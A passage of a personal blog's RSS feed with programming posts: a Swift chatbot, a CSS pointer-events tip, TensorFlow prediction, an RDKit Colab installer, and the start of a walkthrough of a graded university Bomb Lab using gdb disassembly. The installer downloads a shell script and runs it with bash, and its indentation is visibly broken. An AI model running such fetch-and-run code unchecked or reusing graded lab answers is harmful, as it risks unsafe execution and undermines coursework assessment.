<span class="w">        </span><span class="nt">&quot;tokens&quot;</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="s2">&quot;Information&quot;</span><span class="p">,</span><span class="s2">&quot;about&quot;</span><span class="p">,</span><span class="s2">&quot;the&quot;</span><span class="p">,</span><span class="s2">&quot;compound&quot;</span><span class="p">,</span><span class="s2">&quot;Ibuprofen&quot;</span><span class="p">,</span><span class="s2">&quot;please&quot;</span><span class="p">,</span><span class="s2">&quot;.&quot;</span><span class="p">],</span>
<span class="w">        </span><span class="nt">&quot;labels&quot;</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="s2">&quot;NONE&quot;</span><span class="p">,</span><span class="s2">&quot;NONE&quot;</span><span class="p">,</span><span class="s2">&quot;NONE&quot;</span><span class="p">,</span><span class="s2">&quot;NONE&quot;</span><span class="p">,</span><span class="s2">&quot;COMPOUND&quot;</span><span class="p">,</span><span class="s2">&quot;NONE&quot;</span><span class="p">,</span><span class="s2">&quot;NONE&quot;</span><span class="p">]</span>
<span class="w">    </span><span class="p">}</span>
<span class="p">]</span>
</code></pre>
</div>

<p><img src="/assets/posts/swift-chatbot/create-tagger.png" alt="Screenshot of Create ML Text Classifier" /></p>

<h2 id="time-to-get-swift-y">Time to Get Swift-y</h2>

<p>The initial part is easy, importing CoreML and NaturalLanguage and then initializing the models and the tagger.</p>

<p><img src="/assets/posts/swift-chatbot/carbon.png" alt="Screenshot" /></p>

<div class="codehilite">
<pre><span></span><code><span class="kd">import</span> <span class="nc">CoreML</span>
<span class="kd">import</span> <span class="nc">NaturalLanguage</span>

<span class="kd">let</span> <span class="nv">mlModelClassifier</span> <span class="p">=</span> <span class="k">try</span> <span class="n">IntentDetection_1</span><span class="p">(</span><span class="n">configuration</span><span class="p">:</span>  <span class="bp">MLModelConfiguration</span><span class="p">()).</span><span class="n">model</span>
<span class="kd">let</span> <span class="nv">mlModelTagger</span> <span class="p">=</span> <span class="k">try</span> <span class="n">CompoundTagger</span><span class="p">(</span><span class="n">configuration</span><span class="p">:</span> <span class="bp">MLModelConfiguration</span><span class="p">()).</span><span class="n">model</span>

<span class="kd">let</span> <span class="nv">intentPredictor</span> <span class="p">=</span> <span class="k">try</span> <span class="bp">NLModel</span><span class="p">(</span><span class="n">mlModel</span><span class="p">:</span> <span class="n">mlModelClassifier</span><span class="p">)</span>
<span class="kd">let</span> <span class="nv">tagPredictor</span> <span class="p">=</span> <span class="k">try</span> <span class="bp">NLModel</span><span class="p">(</span><span class="n">mlModel</span><span class="p">:</span> <span class="n">mlModelTagger</span><span class="p">)</span>

<span class="kd">let</span> <span class="nv">tagger</span> <span class="p">=</span> <span class="bp">NLTagger</span><span class="p">(</span><span class="n">tagSchemes</span><span class="p">:</span> <span class="p">[.</span><span class="n">nameType</span><span class="p">,</span> <span class="n">NLTagScheme</span><span class="p">(</span><span class="s">&quot;Apple&quot;</span><span class="p">)])</span>
<span class="n">tagger</span><span class="p">.</span><span class="n">setModels</span><span class="p">([</span><span class="n">tagPredictor</span><span class="p">],</span> <span class="n">forTagScheme</span><span class="p">:</span> <span class="n">NLTagScheme</span><span class="p">(</span><span class="s">&quot;Apple&quot;</span><span class="p">))</span>
</code></pre>
</div>

<p>Now, we define a simple structure which the custom function(s) can use to access the provided input. 
It can also be used to hold additional variables.
This custom action for our third label, uses the Word Tagger model to check for the compound in the user's message.
If it is present then it displays the name, otherwise it tells the user that they have not provided the input.
The latter can be replaced with a function which asks the user for the input. </p>

<p><img src="/assets/posts/swift-chatbot/carbon-2.png" alt="Screenshot" /></p>

<div class="codehilite">
<pre><span></span><code><span class="kd">struct</span> <span class="nc">User</span> <span class="p">{</span>
    <span class="kd">static</span> <span class="kd">var</span> <span class="nv">message</span> <span class="p">=</span> <span class="s">&quot;&quot;</span>
<span class="p">}</span>

<span class="kd">func</span> <span class="nf">customAction</span><span class="p">()</span> <span class="p">-&gt;</span> <span class="nb">String</span> <span class="p">{</span>
    <span class="kd">let</span> <span class="nv">sampleMessage</span> <span class="p">=</span> <span class="n">User</span><span class="p">.</span><span class="n">message</span>
    <span class="kd">var</span> <span class="nv">actionable_item</span> <span class="p">=</span> <span class="s">&quot;&quot;</span>
    <span class="n">tagger</span><span class="p">.</span><span class="n">string</span> <span class="p">=</span> <span class="n">sampleMessage</span>
    <span class="n">tagger</span><span class="p">.</span><span class="n">enumerateTags</span><span class="p">(</span><span class="k">in</span><span class="p">:</span> <span class="n">sampleMessage</span><span class="p">.</span><span class="n">startIndex</span><span class="p">..&lt;</span><span class="n">sampleMessage</span><span class="p">.</span><span class="n">endIndex</span><span class="p">,</span> <span class="n">unit</span><span class="p">:</span> <span class="p">.</span><span class="n">word</span><span class="p">,</span>
                             <span class="n">scheme</span><span class="p">:</span> <span class="n">NLTagScheme</span><span class="p">(</span><span class="s">&quot;Apple&quot;</span><span class="p">),</span> <span class="n">options</span><span class="p">:</span> <span class="p">.</span><span class="n">omitWhitespace</span><span class="p">)</span> <span class="p">{</span> <span class="n">tag</span><span class="p">,</span> <span class="n">tokenRange</span>  <span class="k">in</span>
            <span class="k">if</span> <span class="kd">let</span> <span class="nv">tag</span> <span class="p">=</span> <span class="n">tag</span> <span class="p">{</span>
                <span class="k">if</span> <span class="n">tag</span><span class="p">.</span><span class="n">rawValue</span> <span class="p">==</span> <span class="s">&quot;COMPOUND&quot;</span> <span class="p">{</span>
                    <span class="n">actionable_item</span> <span class="o">+=</span> <span class="n">sampleMessage</span><span class="p">[</span><span class="n">tokenRange</span><span class="p">]</span>
                <span class="p">}</span>
            <span class="p">}</span>
        <span class="k">return</span> <span class="kc">true</span>
    <span class="p">}</span>
    <span class="k">if</span> <span class="n">actionable_item</span> <span class="p">==</span> <span class="s">&quot;&quot;</span> <span class="p">{</span>
        <span class="k">return</span> <span class="s">&quot;You did not provide any input&quot;</span>
    <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
        <span class="k">return</span> <span class="s">&quot;You provided input </span><span class="si">\(</span><span class="n">actionable_item</span><span class="si">)</span><span class="s"> for performing custom action&quot;</span>
    <span class="p">}</span>

<span class="p">}</span>
</code></pre>
</div>

<p>Sometimes, no action needs to be performed, and the bot can use a predefined set of responses. 
Otherwise, if an action is required, it can call the custom action.</p>

<p><img src="/assets/posts/swift-chatbot/carbon-3.png" alt="Screenshot" /></p>

<div class="codehilite">
<pre><span></span><code><span class="kd">let</span> <span class="nv">defaultResponses</span> <span class="p">=</span> <span class="p">[</span>
    <span class="s">&quot;greetings&quot;</span><span class="p">:</span> <span class="s">&quot;Hello&quot;</span><span class="p">,</span>
    <span class="s">&quot;banter&quot;</span><span class="p">:</span> <span class="s">&quot;no, plix no&quot;</span>
<span class="p">]</span>

<span class="kd">let</span> <span class="nv">customActions</span> <span class="p">=</span> <span class="p">[</span>
    <span class="s">&quot;deez-drug&quot;</span><span class="p">:</span> <span class="n">customAction</span>
<span class="p">]</span>
</code></pre>
</div>

<p>In the sample input, the program is updating the User.message and checking if it has a default response.
Otherwise, it calls the custom action.</p>

<p><img src="/assets/posts/swift-chatbot/carbon-4.png" alt="Screenshot" /></p>

<div class="codehilite">
<pre><span></span><code><span class="kd">let</span> <span class="nv">sampleMessages</span> <span class="p">=</span> <span class="p">[</span>
    <span class="s">&quot;Hey there, how is it going&quot;</span><span class="p">,</span>
    <span class="s">&quot;hello, there&quot;</span><span class="p">,</span>
    <span class="s">&quot;Who let the dogs out&quot;</span><span class="p">,</span>
    <span class="s">&quot;can you tell me about the compound Geraniin&quot;</span><span class="p">,</span>
    <span class="s">&quot;what do you know about the compound Ibuprofen&quot;</span><span class="p">,</span>
    <span class="s">&quot;please, tell me more about the compound&quot;</span><span class="p">,</span>
    <span class="s">&quot;please, tell me more about the molecule dihydrogen-monoxide&quot;</span>
<span class="p">]</span>

<span class="k">for</span> <span class="n">sampleMessage</span> <span class="k">in</span> <span class="n">sampleMessages</span> <span class="p">{</span>
    <span class="n">User</span><span class="p">.</span><span class="n">message</span> <span class="p">=</span> <span class="n">sampleMessage</span>
    <span class="kd">let</span> <span class="nv">prediction</span> <span class="p">=</span> <span class="n">intentPredictor</span><span class="p">.</span><span class="n">predictedLabel</span><span class="p">(</span><span class="k">for</span><span class="p">:</span> <span class="n">sampleMessage</span><span class="p">)</span>

    <span class="k">if</span> <span class="p">(</span><span class="n">defaultResponses</span><span class="p">[</span><span class="n">prediction</span><span class="p">!]</span> <span class="o">!=</span> <span class="kc">nil</span><span class="p">)</span> <span class="p">{</span>
        <span class="bp">print</span><span class="p">(</span><span class="n">defaultResponses</span><span class="p">[</span><span class="n">prediction</span><span class="p">!]</span><span class="o">!</span><span class="p">)</span>
    <span class="p">}</span> <span class="k">else</span> <span class="k">if</span> <span class="p">(</span><span class="n">customActions</span><span class="p">[</span><span class="n">prediction</span><span class="p">!]</span> <span class="o">!=</span> <span class="kc">nil</span><span class="p">)</span> <span class="p">{</span>
        <span class="bp">print</span><span class="p">(</span><span class="n">customActions</span><span class="p">[</span><span class="n">prediction</span><span class="p">!]</span><span class="o">!</span><span class="p">())</span>
    <span class="p">}</span>
<span class="p">}</span>
</code></pre>
</div>

<p><img src="/assets/posts/swift-chatbot/output.png" alt="Output" /></p>

<p>So easy.</p>

<p>If I ever release a part-2, it will either be about implementing this in Tensorflow.JS or an iOS app using SwiftUI ;)</p>
]]></content:encoded>
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		<item>
			<guid isPermaLink="true">
				https://web.navan.dev/posts/2024-02-26-control-element-under-another-element-html-css.html
			</guid>
			<title>
				Interacting with underlying element in HTML
			</title>
			<description>
				With CSS you can disable any interactions with an element and directly control the underlying element
			</description>
			<link>https://web.navan.dev/posts/2024-02-26-control-element-under-another-element-html-css.html</link>
			<pubDate>Mon, 26 Feb 2024 11:57:00 -0000</pubDate>
			<content:encoded><![CDATA[<h1 id="interacting-with-underlying-element-in-html">Interacting with underlying element in HTML</h1>

<p>I know that the title is a bit weird. I was trying to interact with a video under an iPhone Bezel Screen frame.</p>

<div class="codehilite">
<pre><span></span><code><span class="p">&lt;</span><span class="nt">div</span> <span class="na">class</span><span class="o">=</span><span class="s">&quot;row-span-2 md:col-span-1 rounded-xl border-2 border-slate-400/10 bg-neutral-100 p-4 dark:bg-neutral-900&quot;</span><span class="p">&gt;</span>
    <span class="p">&lt;</span><span class="nt">div</span> <span class="na">class</span><span class="o">=</span><span class="s">&quot;content flex flex-wrap content-center justify-center&quot;</span><span class="p">&gt;</span>
        <span class="p">&lt;</span><span class="nt">img</span> <span class="na">src</span><span class="o">=</span><span class="s">&quot;iphone-12-white.png&quot;</span> <span class="na">class</span><span class="o">=</span><span class="s">&quot;h-[60vh] z-10 absolute&quot;</span><span class="p">&gt;</span>
        <span class="cm">&lt;!--&lt;img src=&quot;screenshot2.jpeg&quot; class=&quot;h-[57vh] mt-4 mr-1 rounded-[2rem]&quot;&gt;--&gt;</span>
        <span class="p">&lt;</span><span class="nt">video</span> <span class="na">src</span><span class="o">=</span><span class="s">&quot;screenrec.mp4&quot;</span> <span class="na">class</span><span class="o">=</span><span class="s">&quot;h-[57vh] mt-4 mr-1 rounded-[2rem]&quot;</span> <span class="na">controls</span> <span class="na">muted</span> <span class="na">autoplay</span><span class="p">&gt;&lt;/</span><span class="nt">video</span><span class="p">&gt;</span>
    <span class="p">&lt;/</span><span class="nt">div</span><span class="p">&gt;</span>
<span class="p">&lt;/</span><span class="nt">div</span><span class="p">&gt;</span>
</code></pre>
</div>

<p><img src="/assets/underlying/video-under-element.jpg" alt="Video Under a Transparent Image" /></p>

<p>Turns out, you can disable pointer events!</p>

<p>In Tailwind, it is as simple as adding <code>pointer-events-none</code> to the bezel screen.</p>

<p>In CSS, this can be done by:</p>

<div class="codehilite">
<pre><span></span><code><span class="p">.</span><span class="nc">className</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="k">pointer-events</span><span class="p">:</span><span class="w"> </span><span class="kc">none</span>
<span class="p">}</span>
</code></pre>
</div>

<p>Let us try this in a simple example.</p>

<h2 id="example">Example</h2>

<p>Here, we create a button and overlay a transparent box</p>

<div class="codehilite">
<pre><span></span><code><span class="p">&lt;</span><span class="nt">div</span> <span class="na">style</span><span class="o">=</span><span class="s">&quot;height: 200px; width: 300px; background-color: rgba(255, 0, 0, 0.4); z-index: 2; position: absolute;&quot;</span><span class="p">&gt;</span>
A box with 200px height and 200px width
<span class="p">&lt;/</span><span class="nt">div</span><span class="p">&gt;</span>
<span class="p">&lt;</span><span class="nt">button</span> <span class="na">style</span><span class="o">=</span><span class="s">&quot;z-index: 1; margin-top: 20px; margin-bottom: 200px;&quot;</span> <span class="na">onclick</span><span class="o">=</span><span class="s">&quot;alert(&#39;You were able to click this button&#39;)&quot;</span><span class="p">&gt;</span>Try clicking me<span class="p">&lt;/</span><span class="nt">button</span><span class="p">&gt;</span>
</code></pre>
</div>

<hr>

<div style="height: 200px; width: 300px; background-color: rgba(255, 0, 0, 0.4); z-index: 2; position: absolute;">
A box with 200px height and 300px width
</div>

<p><button style="z-index: 1; margin-top: 20px; margin-bottom: 200px;" onclick="alert('You were able to click this button')">Try clicking me</button>
<hr></p>

<p>As you can see, you cannot click the button because the red box comes in the way. We can fix this by adding <code>pointer-events: none</code> to the box. </p>

<div class="codehilite">
<pre><span></span><code><span class="p">&lt;</span><span class="nt">div</span> <span class="na">style</span><span class="o">=</span><span class="s">&quot;height: 200px; width: 300px; background-color: rgba(0, 255, 0, 0.4); z-index: 2; position: absolute; pointer-events: none;&quot;</span><span class="p">&gt;</span>
A box with 200px height and 300px width
<span class="p">&lt;/</span><span class="nt">div</span><span class="p">&gt;</span>
<span class="p">&lt;</span><span class="nt">button</span> <span class="na">style</span><span class="o">=</span><span class="s">&quot;z-index: 1; margin-top: 20px; margin-bottom: 200px&quot;</span> <span class="na">onclick</span><span class="o">=</span><span class="s">&quot;alert(&#39;You were able to click this button&#39;)&quot;</span><span class="p">&gt;</span>Try clicking me<span class="p">&lt;/</span><span class="nt">button</span><span class="p">&gt;</span>
<span class="p">&lt;/</span><span class="nt">div</span><span class="p">&gt;</span>
</code></pre>
</div>

<hr>

<div style="height: 200px; width: 300px; background-color: rgba(0, 255, 0, 0.4); z-index: 2; position: absolute; pointer-events: none;">
A box with 200px height and 300px width
</div>

<p><button style="z-index: 1; margin-top: 20px; margin-bottom: 200px" onclick="alert('You were able to click this button')">Try clicking me</button>
</div></p>
]]></content:encoded>
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		<item>
			<guid isPermaLink="true">
				https://web.navan.dev/posts/2019-12-10-TensorFlow-Model-Prediction.html
			</guid>
			<title>
				Making Predictions using Image Classifier (TensorFlow)
			</title>
			<description>
				Making predictions for image classification models built using TensorFlow
			</description>
			<link>https://web.navan.dev/posts/2019-12-10-TensorFlow-Model-Prediction.html</link>
			<pubDate>Tue, 10 Dec 2019 11:10:00 -0000</pubDate>
			<content:encoded><![CDATA[<h1 id="making-predictions-using-image-classifier-tensorflow">Making Predictions using Image Classifier (TensorFlow)</h1>

<p><em>This was tested on TF 2.x and works as of 2019-12-10</em></p>

<p>If you want to understand how to make your own custom image classifier, please refer to my previous post.</p>

<p>If you followed my last post, then you created a model which took an image of dimensions 50x50 as an input.</p>

<p>First we import the following if we have not imported these before</p>

<div class="codehilite">
<pre><span></span><code><span class="kn">import</span> <span class="nn">cv2</span>
<span class="kn">import</span> <span class="nn">os</span>
</code></pre>
</div>

<p>Then we read the file using OpenCV.</p>

<div class="codehilite">
<pre><span></span><code><span class="n">image</span><span class="o">=</span><span class="n">cv2</span><span class="o">.</span><span class="n">imread</span><span class="p">(</span><span class="n">imagePath</span><span class="p">)</span>
</code></pre>
</div>

<p>The cv2. imread() function returns a NumPy array representing the image. Therefore, we need to convert it before we can use it.</p>

<div class="codehilite">
<pre><span></span><code><span class="n">image_from_array</span> <span class="o">=</span> <span class="n">Image</span><span class="o">.</span><span class="n">fromarray</span><span class="p">(</span><span class="n">image</span><span class="p">,</span> <span class="s1">&#39;RGB&#39;</span><span class="p">)</span>
</code></pre>
</div>

<p>Then we resize the image</p>

<div class="codehilite">
<pre><span></span><code><span class="n">size_image</span> <span class="o">=</span> <span class="n">image_from_array</span><span class="o">.</span><span class="n">resize</span><span class="p">((</span><span class="mi">50</span><span class="p">,</span><span class="mi">50</span><span class="p">))</span>
</code></pre>
</div>

<p>After this we create a batch consisting of only one image</p>

<div class="codehilite">
<pre><span></span><code><span class="n">p</span> <span class="o">=</span> <span class="n">np</span><span class="o">.</span><span class="n">expand_dims</span><span class="p">(</span><span class="n">size_image</span><span class="p">,</span> <span class="mi">0</span><span class="p">)</span>
</code></pre>
</div>

<p>We then convert this uint8 datatype to a float32 datatype</p>

<div class="codehilite">
<pre><span></span><code><span class="n">img</span> <span class="o">=</span> <span class="n">tf</span><span class="o">.</span><span class="n">cast</span><span class="p">(</span><span class="n">p</span><span class="p">,</span> <span class="n">tf</span><span class="o">.</span><span class="n">float32</span><span class="p">)</span>
</code></pre>
</div>

<p>Finally we make the prediction</p>

<div class="codehilite">
<pre><span></span><code><span class="nb">print</span><span class="p">([</span><span class="s1">&#39;Infected&#39;</span><span class="p">,</span><span class="s1">&#39;Uninfected&#39;</span><span class="p">][</span><span class="n">np</span><span class="o">.</span><span class="n">argmax</span><span class="p">(</span><span class="n">model</span><span class="o">.</span><span class="n">predict</span><span class="p">(</span><span class="n">img</span><span class="p">))])</span>
</code></pre>
</div>

<p><code>Infected</code></p>
]]></content:encoded>
		</item>
		
		<item>
			<guid isPermaLink="true">
				https://web.navan.dev/posts/2020-07-01-Install-rdkit-colab.html
			</guid>
			<title>
				Installing RDKit on Google Colab
			</title>
			<description>
				Install RDKit on Google Colab with one code snippet.
			</description>
			<link>https://web.navan.dev/posts/2020-07-01-Install-rdkit-colab.html</link>
			<pubDate>Wed, 01 Jul 2020 14:23:00 -0000</pubDate>
			<content:encoded><![CDATA[<h1 id="installing-rdkit-on-google-colab">Installing RDKit on Google Colab</h1>

<p><strong>EDIT:</strong> Try installing RDKit using pip</p>

<pre><code>!pip install rdkit-pypi

</code></pre>

<h2 id="old-method-still-works">Old Method (Still Works)</h2>

<p>RDKit is one of the most integral part of any Cheminfomatic specialist's toolkit but it is notoriously difficult to install unless you already have <code>conda</code> installed. I originally found this in a GitHub Gist but I have not been able to find that gist again :/ </p>

<p>Just copy and paste this in a Colab cell and it will install it 👍</p>

<div class="codehilite">
<pre><span></span><code><span class="kn">import</span> <span class="nn">sys</span>
<span class="kn">import</span> <span class="nn">os</span>
<span class="kn">import</span> <span class="nn">requests</span>
<span class="kn">import</span> <span class="nn">subprocess</span>
<span class="kn">import</span> <span class="nn">shutil</span>
<span class="kn">from</span> <span class="nn">logging</span> <span class="kn">import</span> <span class="n">getLogger</span><span class="p">,</span> <span class="n">StreamHandler</span><span class="p">,</span> <span class="n">INFO</span>


<span class="n">logger</span> <span class="o">=</span> <span class="n">getLogger</span><span class="p">(</span><span class="vm">__name__</span><span class="p">)</span>
<span class="n">logger</span><span class="o">.</span><span class="n">addHandler</span><span class="p">(</span><span class="n">StreamHandler</span><span class="p">())</span>
<span class="n">logger</span><span class="o">.</span><span class="n">setLevel</span><span class="p">(</span><span class="n">INFO</span><span class="p">)</span>


<span class="k">def</span> <span class="nf">install</span><span class="p">(</span>
        <span class="n">chunk_size</span><span class="o">=</span><span class="mi">4096</span><span class="p">,</span>
        <span class="n">file_name</span><span class="o">=</span><span class="s2">&quot;Miniconda3-latest-Linux-x86_64.sh&quot;</span><span class="p">,</span>
        <span class="n">url_base</span><span class="o">=</span><span class="s2">&quot;https://repo.continuum.io/miniconda/&quot;</span><span class="p">,</span>
        <span class="n">conda_path</span><span class="o">=</span><span class="n">os</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">expanduser</span><span class="p">(</span><span class="n">os</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="s2">&quot;~&quot;</span><span class="p">,</span> <span class="s2">&quot;miniconda&quot;</span><span class="p">)),</span>
        <span class="n">rdkit_version</span><span class="o">=</span><span class="kc">None</span><span class="p">,</span>
        <span class="n">add_python_path</span><span class="o">=</span><span class="kc">True</span><span class="p">,</span>
        <span class="n">force</span><span class="o">=</span><span class="kc">False</span><span class="p">):</span>
    <span class="s2">&quot;&quot;&quot;install rdkit from miniconda</span>
<span class="s2">   </span>
</code></pre>
</div>

<pre><code>import rdkit_installer
rdkit_installer.install()
```
"""

python_path = os.path.join(
    conda_path,
    "lib",
    "python{0}.{1}".format(*sys.version_info),
    "site-packages",
)

if add_python_path and python_path not in sys.path:
    logger.info("add {} to PYTHONPATH".format(python_path))
    sys.path.append(python_path)

if os.path.isdir(os.path.join(python_path, "rdkit")):
    logger.info("rdkit is already installed")
    if not force:
        return

    logger.info("force re-install")

url = url_base + file_name
python_version = "{0}.{1}.{2}".format(*sys.version_info)

logger.info("python version: {}".format(python_version))

if os.path.isdir(conda_path):
    logger.warning("remove current miniconda")
    shutil.rmtree(conda_path)
elif os.path.isfile(conda_path):
    logger.warning("remove {}".format(conda_path))
    os.remove(conda_path)

logger.info('fetching installer from {}'.format(url))
res = requests.get(url, stream=True)
res.raise_for_status()
with open(file_name, 'wb') as f:
    for chunk in res.iter_content(chunk_size):
        f.write(chunk)
logger.info('done')

logger.info('installing miniconda to {}'.format(conda_path))
subprocess.check_call(["bash", file_name, "-b", "-p", conda_path])
logger.info('done')

logger.info("installing rdkit")
subprocess.check_call([
    os.path.join(conda_path, "bin", "conda"),
    "install",
    "--yes",
    "-c", "rdkit",
    "python=={}".format(python_version),
    "rdkit" if rdkit_version is None else "rdkit=={}".format(rdkit_version)])
logger.info("done")

import rdkit
logger.info("rdkit-{} installation finished!".format(rdkit.__version__))
</code></pre>

<p>if <strong>name</strong> == "<strong>main</strong>":
    install()
```</p>
]]></content:encoded>
		</item>
		
		<item>
			<guid isPermaLink="true">
				https://web.navan.dev/posts/2023-10-04-bomb-lab.html
			</guid>
			<title>
				Bomb Lab
			</title>
			<description>
				Walkthrough of Phases 1-6 of Bomb Lab for CSCI 2400 Computer Systems Lab 2
			</description>
			<link>https://web.navan.dev/posts/2023-10-04-bomb-lab.html</link>
			<pubDate>Wed, 04 Oct 2023 13:12:00 -0000</pubDate>
			<content:encoded><![CDATA[<h1 id="bomb-lab">Bomb Lab</h1>

<h2 id="introduction">Introduction</h2>

<p>Lab 2 for CSCI 2400 @ CU Boulder - Computer Systems</p>

<blockquote>
  <p>The nefarious Dr. Evil has planted a slew of “binary bombs” on our class machines. A binary bomb is a program that consists of a sequence of phases. Each phase expects you to type a particular string on stdin. If you type the correct string, then the phase is defused and the bomb proceeds to the next phase. Otherwise, the bomb explodes by printing "BOOM!!!" and then terminating. The bomb is defused when every phase has been defused.
  <br><br>
  There are too many bombs for us to deal with, so we are giving each student a bomb to defuse. Your mission, which you have no choice but to accept, is to defuse your bomb before the due date. Good luck, and welcome to the bomb squad!
  <cite>Bomb Lab Handout</cite></p>
</blockquote>

<p>I like using objdump to disassemble the code and get a broad overview of what is happening before I start. </p>

<p><code>objdump -d bomb &gt; dis.txt</code></p>

<p><em>Note: I am not sure about the history of the bomb lab. I think it started at CMU.</em></p>

<h2 id="phase-1">Phase 1</h2>

<div class="codehilite">
<pre><span></span><code>joxxxn@jupyter-nxxh6xx8:~/lab2-bomblab-navanchauhan/bombbomb$<span class="w"> </span>gdb<span class="w"> </span>-ex<span class="w"> </span><span class="s1">&#39;break phase_1&#39;</span><span class="w"> </span>-ex<span class="w"> </span><span class="s1">&#39;break explode_bomb&#39;</span><span class="w"> </span>-ex<span class="w"> </span><span class="s1">&#39;run&#39;</span><span class="w"> </span>./bomb<span class="w"> </span>
GNU<span class="w"> </span>gdb<span class="w"> </span><span class="o">(</span>Ubuntu<span class="w"> </span><span class="m">12</span>.1-0ubuntu1~22.04<span class="o">)</span><span class="w"> </span><span class="m">12</span>.1
Copyright<span class="w"> </span><span class="o">(</span>C<span class="o">)</span><span class="w"> </span><span class="m">2022</span><span class="w"> </span>Free<span class="w"> </span>Software<span class="w"> </span>Foundation,<span class="w"> </span>Inc.
License<span class="w"> </span>GPLv3+:<span class="w"> </span>GNU<span class="w"> </span>GPL<span class="w"> </span>version<span class="w"> </span><span class="m">3</span><span class="w"> </span>or<span class="w"> </span>later<span class="w"> </span>&lt;http://gnu.org/licenses/gpl.html&gt;
This<span class="w"> </span>is<span class="w"> </span>free<span class="w"> </span>software:<span class="w"> </span>you<span class="w"> </span>are<span class="w"> </span>free<span class="w"> </span>to<span class="w"> </span>change<span class="w"> </span>and<span class="w"> </span>redistribute<span class="w"> </span>it.
There<span class="w"> </span>is<span class="w"> </span>NO<span class="w"> </span>WARRANTY,<span class="w"> </span>to<span class="w"> </span>the<span class="w"> </span>extent<span class="w"> </span>permitted<span class="w"> </span>by<span class="w"> </span>law.
Type<span class="w"> </span><span class="s2">&quot;show copying&quot;</span><span class="w"> </span>and<span class="w"> </span><span class="s2">&quot;show warranty&quot;</span><span class="w"> </span><span class="k">for</span><span class="w"> </span>details.
This<span class="w"> </span>GDB<span class="w"> </span>was<span class="w"> </span>configured<span class="w"> </span>as<span class="w"> </span><span class="s2">&quot;x86_64-linux-gnu&quot;</span>.
Type<span class="w"> </span><span class="s2">&quot;show configuration&quot;</span><span class="w"> </span><span class="k">for</span><span class="w"> </span>configuration<span class="w"> </span>details.
For<span class="w"> </span>bug<span class="w"> </span>reporting<span class="w"> </span>instructions,<span class="w"> </span>please<span class="w"> </span>see:
&lt;https://www.gnu.org/software/gdb/bugs/&gt;.
Find<span class="w"> </span>the<span class="w"> </span>GDB<span class="w"> </span>manual<span class="w"> </span>and<span class="w"> </span>other<span class="w"> </span>documentation<span class="w"> </span>resources<span class="w"> </span>online<span class="w"> </span>at:
<span class="w">    </span>&lt;http://www.gnu.org/software/gdb/documentation/&gt;.

For<span class="w"> </span>help,<span class="w"> </span><span class="nb">type</span><span class="w"> </span><span class="s2">&quot;help&quot;</span>.
Type<span class="w"> </span><span class="s2">&quot;apropos word&quot;</span><span class="w"> </span>to<span class="w"> </span>search<span class="w"> </span><span class="k">for</span><span class="w"> </span>commands<span class="w"> </span>related<span class="w"> </span>to<span class="w"> </span><span class="s2">&quot;word&quot;</span>...
Reading<span class="w"> </span>symbols<span class="w"> </span>from<span class="w"> </span>./bomb...
Breakpoint<span class="w"> </span><span class="m">1</span><span class="w"> </span>at<span class="w"> </span>0x15c7
Breakpoint<span class="w"> </span><span class="m">2</span><span class="w"> </span>at<span class="w"> </span>0x1d4a
Starting<span class="w"> </span>program:<span class="w"> </span>/home/joxxxn/lab2-bomblab-navanchauhan/bombbomb/bomb<span class="w"> </span>
<span class="o">[</span>Thread<span class="w"> </span>debugging<span class="w"> </span>using<span class="w"> </span>libthread_db<span class="w"> </span>enabled<span class="o">]</span>
Using<span class="w"> </span>host<span class="w"> </span>libthread_db<span class="w"> </span>library<span class="w"> </span><span class="s2">&quot;/lib/x86_64-linux-gnu/libthread_db.so.1&quot;</span>.
Welcome<span class="w"> </span>to<span class="w"> </span>my<span class="w"> </span>fiendish<span class="w"> </span>little<span class="w"> </span>bomb.<span class="w"> </span>You<span class="w"> </span>have<span class="w"> </span><span class="m">6</span><span class="w"> </span>phases<span class="w"> </span>with
which<span class="w"> </span>to<span class="w"> </span>blow<span class="w"> </span>yourself<span class="w"> </span>up.<span class="w"> </span>Have<span class="w"> </span>a<span class="w"> </span>nice<span class="w"> </span>day!
<span class="nb">test</span><span class="w"> </span>string

Breakpoint<span class="w"> </span><span class="m">1</span>,<span class="w"> </span>0x00005555555555c7<span class="w"> </span><span class="k">in</span><span class="w"> </span>phase_1<span class="w"> </span><span class="o">()</span>
<span class="o">(</span>gdb<span class="o">)</span><span class="w"> </span>dias<span class="w"> </span>phase_1
Undefined<span class="w"> </span>command:<span class="w"> </span><span class="s2">&quot;dias&quot;</span>.<span class="w">  </span>Try<span class="w"> </span><span class="s2">&quot;help&quot;</span>.
<span class="o">(</span>gdb<span class="o">)</span><span class="w"> </span>disas<span class="w"> </span>phase_1
Dump<span class="w"> </span>of<span class="w"> </span>assembler<span class="w"> </span>code<span class="w"> </span><span class="k">for</span><span class="w"> </span><span class="k">function</span><span class="w"> </span>phase_1:
<span class="o">=</span>&gt;<span class="w"> </span>0x00005555555555c7<span class="w"> </span>&lt;+0&gt;:<span class="w">     </span>endbr64<span class="w"> </span>
<span class="w">   </span>0x00005555555555cb<span class="w"> </span>&lt;+4&gt;:<span class="w">     </span>sub<span class="w">    </span><span class="nv">$0</span>x8,%rsp
<span class="w">   </span>0x00005555555555cf<span class="w"> </span>&lt;+8&gt;:<span class="w">     </span>lea<span class="w">    </span>0x1b7a<span class="o">(</span>%rip<span class="o">)</span>,%rsi<span class="w">        </span><span class="c1"># 0x555555557150</span>
<span class="w">   </span>0x00005555555555d6<span class="w"> </span>&lt;+15&gt;:<span class="w">    </span>call<span class="w">   </span>0x555555555b31<span class="w"> </span>&lt;strings_not_equal&gt;
<span class="w">   </span>0x00005555555555db<span class="w"> </span>&lt;+20&gt;:<span class="w">    </span><span class="nb">test</span><span class="w">   </span>%eax,%eax
<span class="w">   </span>0x00005555555555dd<span class="w"> </span>&lt;+22&gt;:<span class="w">    </span>jne<span class="w">    </span>0x5555555555e4<span class="w"> </span>&lt;phase_1+29&gt;
<span class="w">   </span>0x00005555555555df<span class="w"> </span>&lt;+24&gt;:<span class="w">    </span>add<span class="w">    </span><span class="nv">$0</span>x8,%rsp
<span class="w">   </span>0x00005555555555e3<span class="w"> </span>&lt;+28&gt;:<span class="w">    </span>ret<span class="w">    </span>
